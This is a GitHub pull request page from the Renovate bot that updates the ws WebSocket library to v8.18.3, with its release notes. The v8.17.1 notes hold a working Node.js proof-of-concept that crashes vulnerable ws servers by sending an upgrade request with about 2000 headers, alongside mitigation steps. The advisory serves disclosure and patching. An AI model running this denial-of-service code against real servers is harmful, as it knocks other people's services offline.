Skip to content

chore(deps): update dependency ws to v8.18.3 #31

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Jun 16, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
ws 8.17.0 -> 8.18.3 age adoption passing confidence
@types/ws (source) 8.5.10 -> 8.18.1 age adoption passing confidence

Release Notes

websockets/ws (ws)

v8.18.3

Compare Source

Bug fixes
  • Fixed a spec violation where the Sec-WebSocket-Version header was not added
    to the HTTP response if the client requested version was either invalid or
    unacceptable (33f5dba).

v8.18.2

Compare Source

Bug fixes
  • Fixed an issue that, during message decompression when the maximum size was
    exceeded, led to the emission of an inaccurate error and closure of the
    connection with an improper close code (#​2285).

v8.18.1

Compare Source

Bug fixes
  • The length of the UNIX domain socket paths in the tests has been shortened to
    make them work when run via CITGM (021f7b8).

v8.18.0

Compare Source

Features

v8.17.1

Compare Source

Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Configuration

📅 Schedule: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title chore(deps): update dependency ws to v8.17.1 chore(deps): update dependency ws to v8.18.0 Jul 3, 2024
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from 029f5d7 to 57841cf Compare July 3, 2024 18:37
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from 57841cf to d0e0a09 Compare January 23, 2025 17:26
@renovate renovate bot changed the title chore(deps): update dependency ws to v8.18.0 chore(deps): update dependency ws to v8.18.1 Feb 21, 2025
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from d0e0a09 to 88578a0 Compare February 21, 2025 11:46
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from 88578a0 to babb41a Compare March 4, 2025 23:07
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from babb41a to 59fb83f Compare April 1, 2025 07:07
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from 59fb83f to fbdd215 Compare May 3, 2025 05:52
@renovate renovate bot changed the title chore(deps): update dependency ws to v8.18.1 chore(deps): update dependency ws to v8.18.2 May 3, 2025
@renovate renovate bot changed the title chore(deps): update dependency ws to v8.18.2 chore(deps): update dependency ws to v8.18.3 Jun 28, 2025
@renovate renovate bot force-pushed the renovate/ws-8.x-lockfile branch from fbdd215 to 125d625 Compare June 28, 2025 17:33
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants